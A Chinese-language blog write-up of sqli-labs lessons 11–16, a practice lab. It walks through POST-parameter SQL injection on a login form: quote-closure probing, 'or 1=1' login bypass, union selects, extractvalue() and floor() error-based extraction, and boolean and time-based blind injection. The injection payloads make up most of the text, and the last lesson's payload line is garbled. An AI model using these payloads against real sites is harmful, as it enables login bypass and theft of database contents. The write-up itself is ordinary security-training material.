sqlilabs靶场记录POST型(二)
sqlilabs靶场记录POST型(二)
接下来就是使用post注入了,这里使用hackbar插件 配合burp
抓包发现post了uname和passwd两个数据
less-11基于错误的- 单引号 -字符型
先基本测试一下
uname=1 & passwd=1 无法登录无回显 |
说明是单引号闭合
uname=1' or 1=1# & passwd=1 万能语句可以登进去 |
说明只有两个字段
开始注数据
uname=-1' union select 1,database() # & passwd=1 Your Password:security |
less-12基于错误的双引号POST型字符型变形的注入
uname=1 & passwd=1 无法登录无回显 |
说明是双引号闭合,这里从报错信息可以发现还有一个括号进行保护
uname=1" or 1=1#& passwd=1 version for the right syntax to use near '' at line 1 |
extractvalue()函数报错注入
上一关使用了基本查询语句,接下来我们使用mysql函数报错注入,这里选取extractvalue()函数,注意这里的extracectvalue()函数最大爆32位
uname=1") and extractvalue(1,concat(0x7e,(select database()))) #& passwd=1 |
这里会显示不全
那么我们可以这样写,使用not in()
uname=1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelinal')))) #& passwd=1 |
floor()函数报错注入
uname=1") Union select count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x; #& passwd=1 |
less-13 POST单引号变形双注入
uname=1 & passwd=1 无法登录无回显 |
说明单引号加括号进行闭合
这里有报错信息的出现,说明可以使用报错注入
uname=1')or 1=1 # & passwd=1 登进去发现没有显示用户信息,显示了一个successfully logged in |
当失败时
可以发现有显著的不同,那么这里也可以使用布尔盲注来实现
报错型extractvalue()
uname=1') and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1 |
报错型floor() 又叫双注入
uname=1') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1 |
布尔盲注
利用 regexp (正则表达式)获取security数据库中 users 表中的列
uname=-1') or 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1) -- #&passwd=1 登录成功 |
less-14POST单引号变形双注入
就测试一下怎么闭合
uname=1&passwd=1 无法登录无回显 |
说明是双引号闭合
报错型extractvalue()
uname=1"and extractvalue(1,concat(0x7e,(select database()))) -- # &passwd=1 |
报错型floor() 又叫双注入
uname=1" union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #&passwd=1 |
less-15基于布尔型/时间延迟单引号POST型盲注
uname=1&passwd=1 登录失败无回显 uname=1&passwd=1 登录失败无回显 |
一个报错信息都没有,那么说明是非报错的注入接着测试
uname=1 or 1=1#&passwd=1 登录失败无回显 |
这里就知道是单引号闭合
接下来可以使用布尔盲注,或者时间盲注
uname=1' or length(database())=8#&passwd=1 登录成功 |
当然时间盲注也是可以的
uname=1&passwd=1' or if(length(database())=8,1,sleep(5))-- # |
less-16基于bool型/时间延迟的双引号POST型盲注
测试一下闭合方式
uname=1") or 1=1#&passwd=1 |
太好了
uname=1") or 1=1#&passwd=uname=1&passwd=1") or if(length(database())=8,1,sleep(5))-- # |
和上一关语句一个样,接下来就很简单了
评论
ValineDisqus